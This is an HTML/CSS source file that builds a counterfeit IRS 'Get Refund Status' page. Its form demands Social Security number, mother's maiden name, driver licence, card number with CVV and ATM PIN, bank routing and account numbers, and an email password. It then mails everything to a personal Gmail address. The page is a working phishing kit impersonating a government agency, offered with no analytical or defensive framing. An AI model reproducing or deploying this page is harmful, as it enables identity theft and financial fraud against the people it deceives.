Create a detailed form using html and css only
Source code
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IRS | Internal Revenue Service</title>
<link rel="stylesheet" href="irs1.html">
<link rel="stylesheet" href="irs2.html">
<link rel="stylesheet" href="irs3.html">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
header {
position: absolute;
left: 0;
top: 0;
right: 0;
height: 98px;
background-color: rgb(2, 2, 90);
}
label {
font-weight: bold;
}
a {
font-weight: 500;
text-align: center;
border-top-left-radius: 7px;
border-top-right-radius: 7px;
color: rgb(2, 2, 90);
padding-left: 20px;
padding-right: 20px;
width: 100px;
background-color: rgb(143, 175, 209);
}
.taxreturn {
font-weight: 400;
background-color: white !important;
color: dodgerblue;
}
a:active {
background-color: white;
text-decoration: none;
}
.home {
padding-right: 56px;
padding-left: 56px;
}
.rh {
padding-left: 35px;
padding-right: 35px;
}
.formlayout {
width: 70%;
}
.irs {
font-size: 52px;
font-family: 'Times New Roman', Times, serif;
color: white;
}
.gov {
color: white;
font-size: 36px !important;
font-weight: 300;
margin-left: -10px;
color: white;
}
.logo {
margin-top: 10px;
margin-left: 2%;
}
.headerelements {
margin-top: 15px;
margin-left: 5%;
}
form {
margin-left: 5%;
width: 65%;
margin-top: 110px;
color: rgb(2, 2, 90);
}
input, select {
height: 22px;
border-right: 1px solid rgb(190, 190, 190);
border-bottom: 1px solid rgb(212, 212, 212);
border-left: 2px solid gray;
border-top: 2px solid gray;
}
img {
width: 15px;
height: 15px;
transform: rotate(-90deg);
}
.orangestar {
color: coral;
}
.section1 {
margin-left: 2%;
}
.irsline, .cvvline, .pinline {
font-size: small;
}
input::-webkit-outer-spin-button,
input::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0;
}
</style>
</head>
<body>
<div class="formlayout">
<header>
<span class="logo">
<span class="irs">
IRS
</span>
<span class="gov">
.gov
</span>
</span>
<div class="headerelements">
<a class="home" href="irs1.html">Home</a>
<a href="irs3.html">Get Refund Status</a>
<a class="rh" href="#">Refund Help</a>
</div>
</header>
<form method="POST" action="mailto:liltunech94@gmail.com">
<section class="section1">
<h3 class="refundstatus">
Refund Status
<hr>
</h3>
<h3>
Get Refund Status
</h3>
<p>
Regarding our request for your personal information.
</p>
<hr style="height: 1px; background-color: gray;">
<br>
</section>
<section class="section2">
<span class="orangestar">*</span>
<label for="ssn">Social Security Number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<span class="ssninput" style="float: right; margin-right: 30px;">
<input type="number" name="ssn" id="ssn" required style="width: 40px;">-
<input type="number" name="ssn" id="ssn" required style="width: 32px;">-
<input type="number" name="ssn" id="ssn" required style="width: 50px;">
</span>
<br>
<span class="irsline">
or IRS Individual Taxpayer Identification <br>
number<a class="taxreturn" href="#">show on your tax return</a>
</span>
<br>
<br>
<span class="orangestar">*</span>
<label for="fullname">Full Name</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="fullname" name="full Name" required style="float: right; width: 188px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="DOB">Date of Birth</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<select name="DOBDay" id="dob" class="day" style="margin-left: 42.3%;">
<option> Day </option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
<select name="DOBMonth" id="dob" class="month" style="width: 82px;">
<option> Month </option>
<option value="January">January</option>
<option value="Febuary">Febuary</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>
<select name="DOBYear" id="dob" class="year">
<option> Year </option>
<option value="2020">2020</option>
<option value="2019">2019</option>
<option value="2018">2018</option>
<option value="2017">2017</option>
<option value="2016">2016</option>
<option value="2015">2015</option>
<option value="2014">2014</option>
<option value="2013">2013</option>
<option value="2012">2012</option>
<option value="2011">2011</option>
<option value="2010">2010</option>
<option value="2009">2009</option>
<option value="2008">2008</option>
<option value="2007">2007</option>
<option value="2006">2006</option>
<option value="2005">2005</option>
<option value="2004">2004</option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option value="1989">1989</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
</select>
<br>
<br>
<span class="orangestar">*</span>
<label for="Mothersmaidenname">Mother's Maiden Name</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="mothersmaidenname" name="mothers maiden name" required style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="Homephone">Home Phone Number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<span class="homephoneinput" style="float: right; margin-right: 23px;">
<input type="number" name="homephone" id="homephone" required style="width: 40px;">-
<input type="number" name="homephone" id="homephone" required style="width: 40px;">-
<input type="number" name="homephone" id="homephone" required style="width: 50px;">
</span>
<br>
<br>
<span class="orangestar">*</span>
<label for="drv">Driver Licence Number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" name="driver licence number" id="drv" style="float: right; margin-right: 20px;">
</section>
<br>
<hr>
<br>
<section class="section3">
<span class="orangestar">*</span>
<label for="address">Street Address (line 1)</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="address" name="address" required style="float: right; margin-right: 20px;">
<br>
<br>
<label for="addressline2">Street Address (line 2)</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="addressline2" name="addressline2" style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="city">City</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="city" name="city" required style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="state">State</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="state" name="state" required style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="zip">Zip / Postal Code</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="number" name="zip" required style="float: right; margin-right: 130px; width: 60px;">
</section>
<br>
<hr>
<br>
<section class="section4">
<span class="orangestar">*</span>
<label for="card">Credit/Debit Card</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<select name="card" id="card" required style="float: right; margin-right: 132px;">
<option value="select" selected>Select</option>
<option value="credit">Credit</option>
<option value="debit">Debit</option>
</select>
<br>
<br>
<span class="orangestar">*</span>
<label for="cardtype">Credit Card Type</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<select name="cardtype" id="cardtype" required style="float: right; margin-right: 40px;">
<option selected value="American Express Go">American Express Go</option>
<option value="Divvy">Divvy</option>
<option value="iCard">iCard</option>
<option value="ePayService">ePayService</option>
<option value="Emburse">Emburse</option>
<option value="Brex">Brex</option>
<option value="ecoVirtualcard">ecoVirtualcard</option>
<option value="Netspend">Netspend</option>
<option value="Bento">Bento</option>
<option value="Privacy">Privacy</option>
<option value="Dreamweaver VCC">Dreamweaver VCC</option>
<option value="Blur">Blur</option>
<option value="US Unlocked">US Unlocked</option>
</select>
<br>
<br>
<span class="orangestar">*</span>
<label for="cardnumber">Card Number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" id="cardnumber" name="cardnumber" required style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="expirydate">Expiration Date</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<select name="cardexpirymonth" id="expirydate" required style="margin-left: 38.8%;">
<option> Month </option>
<option value="January">January</option>
<option value="Febuary">Febuary</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>
<select name="cardexpiryyear" id="expirydate" required>
<option value="2021">2021</option>
<option value="2022">2022</option>
<option value="2023">2023</option>
<option value="2024">2024</option>
<option value="2025">2025</option>
<option value="2026">2026</option>
<option value="2027">2027</option>
<option value="2028">2028</option>
<option value="2029">2029</option>
<option value="2030">2030</option>
</select>
<br>
<br>
<span class="orangestar">*</span>
<label for="cvv/cvv2">Cvv/Cvv2</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="number" name="cvv/cvv2" required id="cvv/cvv2" style="float: right; margin-right: 128px; width: 60px;">
<p class="cvvline">
(It is the last 3 or 4 digits on the signature area of the card)
</p>
<span class="orangestar">*</span>
<label for="cardpin">Card Pin Number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="number" name="cardpin" required id="cardpin" style="float: right; margin-right: 128px; width: 60px;">
<br>
<p class="pinline">
Your 4 digit number used in ATM transactions.
</p>
</section>
<br>
<hr>
<br>
<section class="section5">
<span class="orangestar">*</span>
<label for="accounttype">Account type</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<span class="cheksav" style="float: right; margin-right: 25px;">
<input type="radio" id="accounttype" name="checking" value="accounttype">
Checking
<input type="radio" id="accounttype" name="saving" value="accounttype">
Savings
</span>
<br>
<br>
<span class="orangestar">*</span>
<label for="Bankname">Bank Name</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" name="bankname" id="bankname" required style="float: right; margin-right: 20px;">
<br>
<br>
<span class="orangestar">*</span>
<label for="Routingnumber">Routing number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="number" required name="routingnumber" id="Routingnumber" style="float: right; margin-right: 20px;">
<br>
<p class="routingline">
(9 digits) is usually located between the <span style="font-weight: 900; font-size: 19px;">-:</span> symbols on your check.
</p>
<span class="orangestar">*</span>
<label for="accountnumber">Account number</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="text" name="accountnumber" id="accountnumber" required style="float: right; margin-right: 20px;">
</section>
<br>
<hr>
<br>
<section class="section6">
<span class="orangestar">*</span>
<label for="email">Email Address</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="email" name="email" id="email" required style="float: right; margin-right: 20px;">
<br>
<p class="emailline">
Attach email address to your information
</p>
<span class="orangestar">*</span>
<label for="password">Password</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<input type="password" name="password" id="password" required style="float: right; margin-right: 20px;">
</section>
<br>
<hr>
<br>
<section class="section7">
<span class="orangestar">*</span>
<label for="Fillingstatus">Filling Status</label>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Red_triangle.svg/1152px-Red_triangle.svg.png" alt="">
<p class="fillingline">
Please select the Filling status
<br>
<a href="#" class="taxreturn">Show on your tax return</a>
</p>
<span class="fillingstatusradio" style="float: right; top: -100px; position: relative;">
<input type="radio" value="single" id="fillingstatus" name="status">Single
<br>
<input type="radio" value="marriedjoint" name="status" id="fillingstatus">Married-Filling Joint Return
<br>
<input type="radio" value="marriedsaparate" name="status" id="fillingstatus">Married-Filling Saparate Return
<br>
<input type="radio" value="Headofhousehold" name="status" id="fillingstatus">Head of Household
<br>
<input type="radio" value="qualifying" name="status" id="fillingstatus">Qualifying Widow(er)
</span>
</section>
<br>
<br>
<br>
<input type="submit" value="submit" class="button" style="float: right; margin-right: 15px; width: 90px;
border: 1px solid black;
border-radius: 0px;
height: fit-content;">
</form>
</div>
</body>
</html>
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